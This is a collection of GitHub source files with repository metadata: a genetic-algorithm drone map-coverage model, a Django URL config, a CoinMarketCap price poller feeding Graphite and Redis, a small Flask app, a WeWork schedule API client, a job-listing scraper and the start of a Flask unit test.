"relhelperspy.io.log_helper.log_print", "line_number": 110, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 110, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 110, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 110, "usage_type": "attribute"}, {"api_name": "relhelperspy.io.log_helper.log_print", "line_number": 111, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 111, "usage_type": "name"}, {"api_name": "relhelperspy.io.log_helper.get_log", "line_number": 113, "usage_type": "call"}, {"api_name": "relhelperspy.io.log_helper", "line_number": 113, "usage_type": "name"}]} +{"seq_id": "17212281869", "text": "# -*- coding: utf-8 -*-\n\nfrom random import *\nfrom utils import *\nimport numpy as np\nfrom heapq import nlargest\nimport itertools\n\n# the glass gene can be replaced with int or float, or other types\n# depending on your problem's representation\n\nclass gene:\n def __init__(self):\n # random initialise the gene according to the representation\n self.__gene = choice([UP, DOWN, LEFT, RIGHT])\n\n def get_direction(self):\n return self.__gene\n\n def set_direction(self, otherDirection):\n\n if otherDirection not in [UP, DOWN, LEFT, RIGHT]:\n raise Exception(\"Invalid direction!\")\n self.__gene= otherDirection\n\nclass Individual:\n def __init__(self, size = 0):\n self.__size = size\n\n #chromosome\n self.__chromozome = [gene() for i in range(self.__size)]\n self.__fitness = None\n\n def get_size(self):\n return self.__size\n\n def get_gene(self, genePosition):\n if genePosition >= self.__size:\n raise Exception(\"No gene!\")\n return self.__chromozome[genePosition]\n\n def set_gene(self, genePosition, newGene):\n if genePosition >= self.__size:\n raise Exception(\"No gene!\")\n self.__chromozome[genePosition] = newGene\n\n\n def get_chromosome(self):\n return self.__chromozome\n\n def set_chromosome(self, chromosome):\n self.__chromozome = chromosome\n\n \n def fitness(self, map, x, y):\n # x, y represents the starting position of the drone.\n posx, posy = x, y\n copy_map = map.copy()\n score = 0\n score += copy_map.markVisible(x, y)\n for gene in self.__chromozome:\n direction = gene.get_direction()\n if direction == UP:\n posx = posx - 1\n if not (0 <= posx <= 19) or not (0 <= posy <= 19) or (copy_map[posx][posy] == 1):\n posx = posx + 1\n continue\n #score += copy_map.markVisible(posx, posy)\n\n if direction == DOWN:\n posx = posx + 1\n if not (0 <= posx <= 19) or not (0 <= posy <= 19) or (copy_map[posx][posy] == 1):\n posx = posx - 1\n continue\n #score += copy_map.markVisible(posx, posy)\n\n if direction == LEFT:\n posy = posy - 1\n if not (0 <= posx <= 19) or not (0 <= posy <= 19) or (copy_map[posx][posy] == 1):\n posy = posy + 1\n continue\n #score += copy_map.markVisible(posx, posy)\n\n if direction == RIGHT:\n posy = posy + 1\n if not (0 <= posx <= 19) or not (0 <= posy <= 19) or (copy_map[posx][posy] == 1):\n posy = posy - 1\n continue\n #score += copy_map.markVisible(posx, posy)\n\n\n score += copy_map.markVisible(posx, posy)\n\n self.__fitness = score\n return self.__fitness\n\n \n def mutate(self, mutateProbability = 0.04):\n if random() < mutateProbability:\n mutated_gene = randrange(self.__size)\n self.__chromozome[mutated_gene].set_direction(choice([UP, DOWN, LEFT, RIGHT]))\n # perform a mutation with respect to the representation\n \n \n def crossover(self, otherParent, crossoverProbability = 0.7):\n offspring1, offspring2 = Individual(self.__size), Individual(self.__size)\n if random() < crossoverProbability:\n border = randrange(0, self.__size)\n for i in range(border):\n offspring1.set_gene(i, self.get_gene(i))\n offspring2.set_gene(i, otherParent.get_gene(i))\n for j in range(border, self.__size):\n offspring1.set_gene(j, otherParent.get_gene(j))\n offspring2.set_gene(j, self.get_gene(j))\n else:\n offspring1.set_chromosome(self.get_chromosome())\n offspring2.set_chromosome(otherParent.get_chromosome())\n \n return offspring1, offspring2\n \nclass Population():\n def __init__(self, chromozomeSize = 0, initialX=0, initialY=0, map = None):\n self.__chromozomeSize = chromozomeSize # chromozome size\n self.__individuals = []\n self.__x = initialX\n self.__y = initialY\n self.map = map\n\n self.__individuals_scores = {}\n # for ind in self.__individuals:\n # self.__individuals_scores[ind] = 0\n\n self.__total = 0\n self.__best = 0\n self.__bestIndividual = None\n\n def clear_individuals(self):\n self.__individuals.clear()\n self.__individuals_scores = {}\n\n def evaluate(self):\n # evaluates the population\n\n self.__total = 0\n self.__best = 0\n self.__bestIndividual = None\n\n for x in self.__individuals:\n individual_score = x.fitness(self.map, self.__x, self.__y)\n self.__individuals_scores[x] = individual_score\n self.__total += individual_score\n if individual_score > self.__best:\n self.__best = individual_score\n self.__bestIndividual = x\n return self.__total, self.__best\n\n def add_individuals_scores(self, individuals_scores):\n # individuals_scores - dict with individuals and scores\n for i in individuals_scores:\n self.__individuals.append(i)\n self.__individuals_scores[i] = individuals_scores[i]\n if individuals_scores[i] >= self.__best:\n self.__best = individuals_scores[i]\n self.__bestIndividual = i\n self.__total += individuals_scores[i]\n\n def __len__(self):\n return len(self.__individuals)\n\n @property\n def populationSize(self):\n return len(self.__individuals)\n\n @property\n def average(self):\n return self.__total / len(self.__individuals)\n\n @property\n def total(self):\n return self.__total\n\n @property\n def best(self):\n return self.__best\n\n @property\n def individuals(self):\n return self.__individuals\n\n @property\n def individuals_with_scores(self):\n return self.__individuals_scores\n\n @property\n def bestIndividual(self):\n return self.__bestIndividual\n\n def getStartingPosition(self):\n return self.__x, self.__y\n\n def get_chromozome_size(self):\n return self.__chromozomeSize\n\n def random_individuals(self, size):\n # generate a population with given size\n self.__individuals_scores = {}\n self.__individuals = [Individual(self.__chromozomeSize) for i in range(size)]\n self.evaluate()\n\n def set_individuals(self, individuals):\n # generate a population from list of individuals\n self.__individuals_scores = {}\n self.__individuals.clear()\n for i in individuals:\n if len(i.get_chromosome()) != self.__chromozomeSize:\n raise Exception('Incompatible individuals!')\n self.__individuals.append(i)\n self.evaluate()\n\n\n def selection(self, k = 0):\n selected = set()\n while(len(selected) != k):\n individual = np.random.choice(self.__individuals, 1, False,\n [(self.__individuals_scores[y] / self.__total) for y in self.__individuals])\n selected.add(individual[0])\n return selected\n \n def bestK(self, k = 2):\n a = nlargest(k, self.__individuals_scores, key=self.__individuals_scores.get)\n x1 = []\n x2 = []\n for i in self.__individuals:\n x1.append(self.__individuals_scores[i])\n for i in a:\n x2.append(self.__individuals_scores[i])\n x1.sort(reverse=True)\n print(x1)\n print(x2)\n print(len(self.__individuals))\n print(len(self.__individuals_scores))\n print('---------------')\n return a\n\n def filter(self, k):\n # filter , keep the best individuals\n filtered = self.bestK(k)\n survivors = {}\n for ind in filtered:\n survivors[ind] = self.__individuals_scores[ind]\n self.clear_individuals()\n self.__best = 0\n self.__total = 0\n self.__bestIndividual = None\n self.add_individuals_scores(survivors)\n\n def find_optimal_solution(self):\n genes = [gene(), gene(), gene(), gene()]\n genes[0].set_direction(UP)\n genes[1].set_direction(DOWN)\n genes[2].set_direction(LEFT)\n genes[3].set_direction(RIGHT)\n\n ALL_CHROMOSOMES = itertools.product(genes, repeat=self.__chromozomeSize)\n best_score = 0\n best_individual = None\n\n i = 0\n\n for c in ALL_CHROMOSOMES:\n i += 1\n print(i)\n chromosome = list(c)\n print(chromosome)\n ind = Individual(self.__chromozomeSize)\n ind.set_chromosome(chromosome)\n score = ind.fitness(self.map, self.__x, self.__y)\n if score > best_score:\n best_individual = ind\n best_score = score\n\n return best_individual.get_chromosome(), best_score\n\n # a = [LEFT, RIGHT, UP, DOWN]\n # x = itertools.product(a, repeat=10)\n # i = 0\n # for e in x:\n # print(e)\n # i += 1\n # print(i)\n\n \nclass Map():\n def __init__(self, n = 20, m = 20):\n self.n = n\n self.m = m\n self.surface = np.zeros((self.n, self.m))\n\n\n # creates a random map of given size\n def randomMap(self, fill = 0.2, n = 20, m = 20):\n self.n = n\n self.m = m\n self.surface = np.zeros((self.n, self.m))\n for i in range(self.n):\n for j in range(self.m):\n if random() <= fill:\n self.surface[i][j] = 1\n else:\n self.surface[i][j] = 0\n\n def __getitem__(self, key):\n return self.surface[key]\n\n def get_size(self):\n return self.n, self.m\n \n def __str__(self):\n string=\"\"\n for i in range(self.n):\n for j in range(self.m):\n string = string + str(int(self.surface[i][j]))\n string = string + \"\\n\"\n return string\n\n def copy(self):\n copy = Map(self.n, self.m)\n copy.surface = np.array(self.surface, copy=True)\n return copy\n\n def readUDMSensors(self, x,y):\n readings=[0,0,0,0]\n # UP\n xf = x - 1\n while ((xf >= 0) and (self.surface[xf][y] == 0)):\n xf = xf - 1\n readings[UP] = readings[UP] + 1\n # DOWN\n xf = x + 1\n while ((xf < self.n) and (self.surface[xf][y] == 0)):\n xf = xf + 1\n readings[DOWN] = readings[DOWN] + 1\n # LEFT\n yf = y + 1\n while ((yf < self.m) and (self.surface[x][yf] == 0)):\n yf = yf + 1\n readings[LEFT] = readings[LEFT] + 1\n # RIGHT\n yf = y - 1\n while ((yf >= 0) and (self.surface[x][yf] == 0)):\n yf = yf - 1\n readings[RIGHT] = readings[RIGHT] + 1\n return readings\n\n def markVisible(self, x, y):\n\n marked = 0\n\n if self.surface[x][y] == 0:\n marked += 1\n\n self.surface[x][y] = 2\n # UP\n xf = x - 1\n while ((xf >= 0) and (self.surface[xf][y] != 1)):\n\n # add to the count if it wasn't marked previously\n if self.surface[xf][y] == 0:\n marked += 1\n\n self.surface[xf][y] = 2\n xf = xf - 1\n\n # DOWN\n xf = x + 1\n while ((xf < self.n) and (self.surface[xf][y] != 1)):\n\n # add to the count if it wasn't marked previously\n if self.surface[xf][y] == 0:\n marked += 1\n\n self.surface[xf][y] = 2\n xf = xf + 1\n\n # LEFT\n yf = y + 1\n while ((yf < self.m) and (self.surface[x][yf] != 1)):\n\n # add to the count if it wasn't marked previously\n if self.surface[x][yf] == 0:\n marked += 1\n\n self.surface[x][yf] = 2\n yf = yf + 1\n\n # RIGHT\n yf = y - 1\n while ((yf >= 0) and (self.surface[x][yf] != 1)):\n\n # add to the count if it wasn't marked previously\n if self.surface[x][yf] == 0:\n marked += 1\n\n self.surface[x][yf] = 2\n yf = yf - 1\n\n return marked\n\n # def image(self, colour=BLUE, background=WHITE):\n # imagine = pygame.Surface((400, 400))\n # brick = pygame.Surface((20, 20))\n # destination = pygame.Surface((20, 20))\n # roadGreedy = pygame.Surface((20, 20))\n # roadAStar = pygame.Surface((20, 20))\n # common_road = pygame.Surface((20, 20))\n # brick.fill(BLUE)\n # imagine.fill(WHITE)\n # destination.fill(RED)\n #\n # for i in range(self.n):\n # for j in range(self.m):\n # if (self.surface[i][j] == 1):\n # imagine.blit(brick, (j * 20, i * 20))\n # if (self.surface[i][j] == 2):\n # imagine.blit(destination, (j * 20, i * 20))\n # if (self.surface[i][j] == 3):\n # imagine.blit(roadGreedy, (j * 20, i * 20))\n # if (self.surface[i][j] == 4):\n # imagine.blit(roadAStar, (j * 20, i * 20))\n # if (self.surface[i][j] == 5):\n # imagine.blit(common_road, (j * 20, i * 20))\n #\n # return imagine\n\n def get_neighbours(self, xi, yi):\n possibilities = [(xi + 1, yi), (xi - 1, yi), (xi, yi + 1), (xi, yi - 1)]\n\n # squares have coordinates between 0 and 19\n first_cut = list(filter(lambda t: (0 <= t[0] <= 19 and 0 <= t[1] <= 19), possibilities))\n\n return list(filter(lambda t: (self.surface[t[0]][t[1]] == 0 or self.surface[t[0]][t[1]] >= 2), first_cut))\n\n def convertChromozomeToPath(self, chromozome, x, y):\n path = []\n path.append([x,y])\n posx = x\n posy = y\n for gene in chromozome:\n direction = gene.get_direction()\n if direction == UP:\n posx = posx - 1\n if not (0 <= posx <= 19) or not (0 <= posy <= 19) or (self.surface[posx][posy] == 1):\n posx = posx + 1\n continue\n # score += copy_map.markVisible(posx, posy)\n\n elif direction == DOWN:\n posx = posx + 1\n if not (0 <= posx <= 19) or not (0 <= posy <= 19) or (self.surface[posx][posy] == 1):\n posx = posx - 1\n continue\n # score += copy_map.markVisible(posx, posy)\n\n elif direction == LEFT:\n posy = posy - 1\n if not (0 <= posx <= 19) or not (0 <= posy <= 19) or (self.surface[posx][posy] == 1):\n posy = posy + 1\n continue\n # score += copy_map.markVisible(posx, posy)\n\n elif direction == RIGHT:\n posy = posy + 1\n if not (0 <= posx <= 19) or not (0 <= posy <= 19) or (self.surface[posx][posy] == 1):\n posy = posy - 1\n continue\n # score += copy_map.markVisible(posx, posy)\n print('added')\n path.append([posx, posy])\n return path\n\n\n\nclass Statistics:\n def __init__(self):\n self.runs = []\n self.best = []\n self.std = []\n\n def add_generation_score(self, score):\n self.runs.append(score)\n\n def add_best_score(self, score):\n self.best.append(score)\n\n def add_standard_deviation(self, std):\n self.std.append(std)\n\n def get_scores(self):\n return self.runs, self.best, self.std\n\n", "repo_name": "MihaiSilinc/Artificial-intelligence", "sub_path": "Assignment3/domain.py", "file_name": "domain.py", "file_ext": "py", "file_size_in_byte": 15813, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "numpy.random.choice", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 224, "usage_type": "attribute"}, {"api_name": "heapq.nlargest", "line_number": 230, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 297, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 328, "usage_type": "call"}]} +{"seq_id": "20477697178", "text": "from django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('manufacturing/', include('manufacturing.urls')),\n path('accounting/', include('accountance.urls')),\n path('marketing/', include('marketing.urls')),\n path('hr/', include('humanresources.urls')),\n path('logistics/', include('logistics.urls')),\n path('qc/', include('qualitycontrol.urls')),\n path('general/', include('general.urls')),\n path('purchasing/', include('purchasing.urls')),\n]\n", "repo_name": "egebeyaztas/nerp", "sub_path": "nerp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 540, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 5, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "16911015535", "text": "#!/usr/bin/env python36\n\nimport requests, graphitesend, redis\nimport json, time\n\n\ndef SendData():\n response = requests.get(URL)\n if response.status_code == 200:\n AllData = response.json()\n new_dict = {}\n sitename = \"cmc\"\n for i in AllData:\n if i['id'] in cryptos:\n new_key_1 = sitename + '-' + i['symbol'].lower() + '-last'\n new_val_1 = i['price_inr']\n new_dict.update({new_key_1:new_val_1})\n new_key_2 = sitename + '-' + i['symbol'].lower() + '-usd'\n new_val_2 = i['price_inr']\n new_dict.update({new_key_2:new_val_2})\n new_key_3 = sitename + '-' + i['symbol'].lower() + '-24h-pct-change'\n new_val_3 = i['percent_change_24h']\n new_dict.update({new_key_3:new_val_3})\n new_key_4 = sitename + '-' + i['symbol'].lower() + '-24h-volume-usd'\n new_val_4 = i['24h_volume_usd']\n new_dict.update({new_key_4:new_val_4})\n new_key_5 = sitename + '-' + i['symbol'].lower() + '-24h-volume-inr'\n new_val_5 = i['24h_volume_inr']\n new_dict.update({new_key_5:new_val_5})\n new_key_6 = sitename + '-' + i['symbol'].lower() + '-rank'\n new_val_6 = i['rank']\n new_dict.update({new_key_6:new_val_6})\n g.send_dict(new_dict)\n r.hmset(\"Cmc\", new_dict)\n else:\n pass\n\nif __name__==\"__main__\":\n\n cryptos = [\"bitcoin\", \"ethereum\", \"ripple\", \"bitcoin-cash\", \"litecoin\", \"cardano\", \"neo\", \"stellar\", \"eos\", \"monero\", \"dash\", \"iota\", \"nem\", \"tron\", \"ethereum-classic\", \"vechain\", \"lisk\", \"nano\", \"omisego\", \"qtum\", \"bitcoin-gold\", \"zcash\", \"verge\", \"dogecoin\", \"siacoin\", \"ontology\", \"aeternity\", \"0x\", \"electroneum\", \"digibyte\", \"golem-network-tokens\", \"gas\", \"basic-attention-token\", \"zcoin\", \"deepbrain-chain\", \"red-pulse\", \"request-network\", \"zilla\", \"zilliqa\", \"nucleus-vision\", \"aion\" ]\n\n URL = \"https://api.coinmarketcap.com/v1/ticker/?convert=INR&limit=1000\"\n SERVER = '127.0.0.1' \n CARBON_PORT = 2003\n REDIS_PORT = 6379\n r = redis.Redis(host=SERVER, port=REDIS_PORT, db=0)\n g = graphitesend.init(graphite_server=SERVER, graphite_port=CARBON_PORT, prefix='ohio-analyzer-1.metrics-cmc', system_name='')\n\n\n while True:\n time.sleep(6)\n SendData()\n\n\n\n\n\n\n", "repo_name": "adiospeds/crypto-data-for-graphite", "sub_path": "cmc_live_prices_v2.py", "file_name": "cmc_live_prices_v2.py", "file_ext": "py", "file_size_in_byte": 2192, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "requests.get", "line_number": 8, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 46, "usage_type": "call"}, {"api_name": "graphitesend.init", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "5594841780", "text": "import os\nimport redis\n\nfrom flask import Flask\nfrom flask import redirect, render_template\n\napp = Flask(__name__)\napp.redis = redis.StrictRedis(\n host=os.getenv('WERCKER_REDIS_HOST', 'localhost'),\n port=6379,\n db=0\n)\napp.debug = True\napp.secret_key = \"$=q=p__8@-)pwvZl2nw!&c{wVn|0*6!:8@n(92_@r(9lkbbeb2\"\napp.config.static = os.environ.get(\"STATIC_URL\", \"/static\")\n\nfrom flask_wtf import Form\nfrom wtforms import TextField\nfrom wtforms.validators import Required\n\n\nclass CloudForm(Form):\n classification = TextField('classification', validators=[Required()])\n\n\n@app.route(\"/add\", methods=['GET', 'POST'])\ndef add_cloud():\n\n form = CloudForm(csrf_enabled=False)\n\n if form.validate_on_submit():\n app.redis.rpush('clouds', form.classification.data)\n return redirect('/')\n return render_template('submit.html', form=form)\n\n\n@app.route(\"/\")\ndef clouds():\n data = app.redis.lrange(\"clouds\", 0, -1)\n return render_template('index.html', data=data)\n\nif __name__ == \"__main__\":\n port = int(os.getenv('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n", "repo_name": "flenter/flask-cloud-watch", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1089, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "redis.StrictRedis", "line_number": 8, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 15, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask_wtf.Form", "line_number": 22, "usage_type": "name"}, {"api_name": "wtforms.TextField", "line_number": 23, "usage_type": "call"}, {"api_name": "wtforms.validators.Required", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 40, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 43, "usage_type": "call"}]} +{"seq_id": "35482525363", "text": "# @Author : TongTong\n\nfrom api.base_api import BaseApi\nfrom api.wework import Wework\nfrom common.config import cf\nfrom common.get_log import log\nfrom common.mysql import sql\n\n\nclass WSchedule(BaseApi):\n \"\"\"\n 企业微信日程中的日程模块的API类\n\n secret：日历的秘钥\n token：日历的token\n yml_api_path: yml api数据的相对路径\n \"\"\"\n\n # 通过配置文件获取日历的secret，token只是为了测试方法，其实不应该存在的\n secret = cf.get_key(\"wwork\", \"schedule_secret\")\n token = Wework().get_token(secret)\n # yml api数据的相对路径\n data_path = \"data/schedule/schedule/schedule_api.yml\"\n\n def get_schedule_id_list(self):\n \"\"\"\n 通过数据库，获取日程id的值，日程id的值无法通过接口获取，所以就保存在数据库中\n :return: 返回全部的日历程id的列表\n \"\"\"\n # 执行sql语句获取日历id的元祖\n schedule_id_list = sql.select(\"select schedule_id from schedule_id\")\n # 把元祖转化成列表\n schedule_id_list = [i[0] for i in schedule_id_list]\n return schedule_id_list\n\n def add_schedule(self, token, organizer, start_time, end_time, userid, summary, description, location):\n \"\"\"\n 增加日程\n :param token: access_token的值\n :param organizer: 请求参数的值\n :param start_time: 请求参数的值\n :param end_time: 请求参数的值\n :param userid: 请求参数的值\n :param summary: 请求参数的值\n :param description: 请求参数的值\n :param location: 请求参数的值\n :return: 返回响应体\n \"\"\"\n # 时间传入时间戳，get_time可以将时间字符串转化成时间戳，自己封装的\n start_time = self.get_time(start_time)\n end_time = self.get_time(end_time)\n # Template模板需要二次改变的值\n p_data = {\"ip\": self.ip, \"token\": token, \"organizer\": organizer, \"start_time\": start_time, \"end_time\": end_time,\n \"userid\": userid, \"summary\": summary, \"description\": description, \"location\": location}\n res = self.send_api_data(self.data_path, p_data, \"add\")\n try:\n schedule_id = res[\"schedule_id\"]\n # 当cal_id获取到了，就把schedule_id放到数据库中\n sql.insert(f\"insert into schedule_id(userid,schedule_id) values('{organizer}','{schedule_id}')\")\n except KeyError as e:\n log.error(\"响应不正确，无法插入数据\")\n return res\n\n def delete_schedule(self, token, index):\n \"\"\"\n 删除日程\n :param token: 日历的token值\n :param index: 在数据库获取第几个id值\n :return: 返回响应体\n \"\"\"\n # 从数据库获取schedule_id\n schedule_id = self.get_schedule_id_list()[index]\n p_data = {\"ip\": self.ip, \"token\": token, \"schedule_id\": schedule_id}\n res = self.send_api_data(self.data_path, p_data, \"delete\")\n # 当删除api成功时，同步从数据库中删除schedule_id\n if res[\"errcode\"] == 0:\n sql.delete(f\"delete from schedule_id where schedule_id='{schedule_id}'\")\n else:\n log.info(\"删除请求失败，无法删除schedule_id\")\n return res\n\n def get_schedule(self, token, index=None):\n \"\"\"\n 获取日程信息\n :param token: 日程的token值\n :param index: 在数据库获取第几个id值\n :return: 返回响应体\n \"\"\"\n # 解决index存在的时候，传的schedule_id_list不是一个列表\n schedule_id_list = []\n # 从数据库获取schedule_id_list，才能查询日历\n if index is None:\n schedule_id_list = self.get_schedule_id_list()\n else:\n schedule_id_list.append(self.get_schedule_id_list()[index])\n p_data = {\"ip\": self.ip, \"token\": token, \"schedule_id_list\": schedule_id_list}\n res = self.send_api_data(self.data_path, p_data, \"get\")\n return res\n\n def edit_schedule(self, token, organizer, index, start_time, end_time, userid, summary, description, location):\n \"\"\"\n\n :param token: 日程的token值\n :param organizer: 请求参数的值\n :param index: 请求参数的值\n :param start_time: 请求参数的值\n :param end_time: 请求参数的值\n :param userid: 请求参数的值\n :param summary: 请求参数的值\n :param description: 请求参数的值\n :param location: 请求参数的值\n :return:\n \"\"\"\n # 从数据库获取schedule_id\n schedule_id = self.get_schedule_id_list()[index]\n start_time = self.get_time(start_time)\n end_time = self.get_time(end_time)\n p_data = {\"ip\": self.ip, \"token\": token, \"organizer\": organizer, \"schedule_id\": schedule_id,\n \"start_time\": start_time, \"end_time\": end_time,\n \"userid\": userid, \"summary\": summary, \"description\": description, \"location\": location}\n res = self.send_api_data(self.data_path, p_data, \"edit\")\n return res\n\n\nif __name__ == \"__main__\":\n a = WSchedule()\n # a.delete_schedule(a.token,0)\n # print(a.get_schedule_id_list())\n a.add_schedule(a.token,\"schedule\",\"2020-10-01 00:00:00\",\"2020-10-02 00:00:00\",\"calendar\",\"abc\",None,None)\n # a.edit_schedule(a.token,\"schedule\",1,\"2020-10-01 00:00:00\",\"2020-10-02 00:00:00\",\"calendar\",\"abc\",None,None)\n print(a.get_schedule(a.token, 0))\n", "repo_name": "a376230095/wwork_api_interface_test", "sub_path": "api/schedule/wschedule.py", "file_name": "wschedule.py", "file_ext": "py", "file_size_in_byte": 5550, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 38, "dataset": "github-code", "pt": "86", "api": [{"api_name": "api.base_api.BaseApi", "line_number": 10, "usage_type": "name"}, {"api_name": "common.config.cf.get_key", "line_number": 20, "usage_type": "call"}, {"api_name": "common.config.cf", "line_number": 20, "usage_type": "name"}, {"api_name": "api.wework.Wework", "line_number": 21, "usage_type": "call"}, {"api_name": "common.mysql.sql.select", "line_number": 31, "usage_type": "call"}, {"api_name": "common.mysql.sql", "line_number": 31, "usage_type": "name"}, {"api_name": "common.mysql.sql.insert", "line_number": 59, "usage_type": "call"}, {"api_name": "common.mysql.sql", "line_number": 59, "usage_type": "name"}, {"api_name": "common.get_log.log.error", "line_number": 61, "usage_type": "call"}, {"api_name": "common.get_log.log", "line_number": 61, "usage_type": "name"}, {"api_name": "common.mysql.sql.delete", "line_number": 77, "usage_type": "call"}, {"api_name": "common.mysql.sql", "line_number": 77, "usage_type": "name"}, {"api_name": "common.get_log.log.info", "line_number": 79, "usage_type": "call"}, {"api_name": "common.get_log.log", "line_number": 79, "usage_type": "name"}]} +{"seq_id": "6859173958", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom requests import get\nfrom bs4 import BeautifulSoup\nimport os\nimport sys\n\nOUTPUT_FILE = \"saramin_jd.txt\"\nSARAMIN_URL = \"http://api.saramin.co.kr/job-search?keywords=%s&count=100&sr=directhire\"\n\ndef my_print(f, prt):\n\tprint(\"{}\" .format(prt))\n\tf.write(\"{}\\n\" .format(prt))\n\ndef delete_file():\n rm_command = \"rm %s\" % OUTPUT_FILE\n os.system(rm_command)\n\ndef saramin():\n keywords = ['devops', 'ansible', 'github', '소켓', '패킷', 'docker', 'snmp', 'netconf', \n\t'rest', 'slack', 'jenkins', 'KVM', '오픈스택', 'openstack', 'curl', '오픈소스', \n\t'프로토콜', 'Multithread', 'Multi thread', '멀티스레드', 'Network Programming', \n\t'TCP/IP', '네트워크', 'network']\n\t\n f = open(OUTPUT_FILE, \"a\")\n for keyword in keywords:\n my_print(f, \"#################################################\")\n my_print(f, \"#%s\" % keyword)\n my_print(f, \"#################################################\")\n\n url = SARAMIN_URL % keyword\n r = get(url)\n soup = BeautifulSoup(r.text, 'html.parser')\n\n for job in soup.find_all('job'):\n temp = job.find('company')\n company = temp.text.strip()\n my_print(f, \"%s, %s, %s\" %(company, job.title.text, job.url.text))\n\n my_print(f, \"\\n\\n\")\n\n f.close()\n\nif __name__ == '__main__':\n delete_file()\n saramin()\n", "repo_name": "jhhwang4195/saramin-recruit", "sub_path": "saramin_recruit.py", "file_name": "saramin_recruit.py", "file_ext": "py", "file_size_in_byte": 1394, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.system", "line_number": 18, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 33, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "73535105879", "text": "import json\r\nimport unittest\r\n\r\nfrom models.abc import db\r\nfrom repositories import BrandRepository, UserRepository\r\nfrom server import server\r\n\r\nclass TestBrand(unittest.TestCase):\r\n\r\n user_data = {\r\n \"name\": \"test\",\r\n \"email\": \"test@email.com\",\r\n \"phone_number\": \"081234567890\",\r\n \"password\": \"password\",\r\n \"type\": \"seller\"\r\n }\r\n\r\n @classmethod\r\n def setUpClass(cls):\r\n server.config['SERVER_NAME'] = 'localhost:5053'\r\n cls.client = server.test_client()\r\n\r\n def setUp(self):\r\n self.app_context = server.app_context()\r\n self.app_context.push()\r\n db.create_all()\r\n\r\n def tearDown(self):\r\n db.session.remove()\r\n db.drop_all()\r\n self.app_context.pop()\r\n\r\n def get_token(self):\r\n UserRepository.create(self.user_data[\"name\"], self.user_data[\"email\"], self.user_data[\"phone_number\"], self.user_data[\"password\"], self.user_data[\"type\"])\r\n\r\n login_admin = self.client.post(\r\n \"/sign-in\",\r\n data = json.dumps({\r\n \"email\": self.user_data[\"email\"],\r\n \"password\": self.user_data[\"password\"]\r\n }),\r\n content_type = \"application/json\"\r\n )\r\n\r\n token = json.loads(login_admin.data.decode(\"utf-8\"))[\"token\"]\r\n\r\n return token\r\n\r\n def test_get(self):\r\n\r\n BrandRepository.create(\"Brand A\")\r\n BrandRepository.create(\"Brand B\")\r\n\r\n brands = BrandRepository.get_all()\r\n\r\n data = [\r\n {\r\n \"id\": str(brand.id),\r\n \"title\": brand.title\r\n } for brand in brands\r\n ]\r\n\r\n response = self.client.get(\r\n \"/brands\"\r\n )\r\n\r\n response_json = json.loads(response.data.decode(\"utf-8\"))\r\n\r\n self.assertEqual(response.status_code, 200)\r\n self.assertEqual(\r\n response_json,\r\n {\r\n \"data\": data\r\n }\r\n )\r\n\r\n def 